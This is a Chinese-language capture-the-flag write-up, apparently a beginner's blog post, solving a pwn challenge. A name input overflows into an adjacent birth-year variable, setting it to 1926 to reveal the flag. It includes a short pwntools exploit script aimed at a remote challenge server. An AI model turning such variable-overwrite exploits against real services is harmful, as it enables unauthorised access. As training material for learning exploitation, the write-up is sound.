ok 多余的话就不继续累赘了昂,直接上手
程序同上次一样开了NX(堆栈不可执行)和CANNARY(栈保护)。接下来我们首先运行一遍程序
一个没什么意义的程序...注意他的输入的有两处 ok,接下来我们用IDA直接看代码
很明显的可以看到当输入的年份为1926时可以得到flag。但是有个问题,在年份输入后它会有个判断当年份为1926时会报错并跳出... emmm。。。。。。这怎么搞
全文看一下我们可以发现除了存放年份的v5变量以外,他还有一个v4和v6,那么他们是否有什么关联呢,我们双击点进去看一下
ok,似不似很有意思?这意味着什么呢?这意味着我们可以用v4(Name)来覆盖v5(Birth)。 哎,发现了么,这两个东西刚好就是咱们需要输入的东西,所以这道题到这里就结束了,一个简单的变量覆盖 exp如下:
from pwn import *
r = remote("111.198.29.45", 58805)
payload = 'a' * (0x20 - 0x18) + p64(1926)
r.recvuntil("What's Your Birth?n")
r.sendline("2000")
r.recvuntil("What's Your Name?n")
r.sendline(payload)
print r.recv()
print r.recv()
代码效果如下咯:
ok,完成
最后放一下我的博客(http://www.sailingplace.cn),有兴趣的可以来看看(萌新的小天地,轻点喷)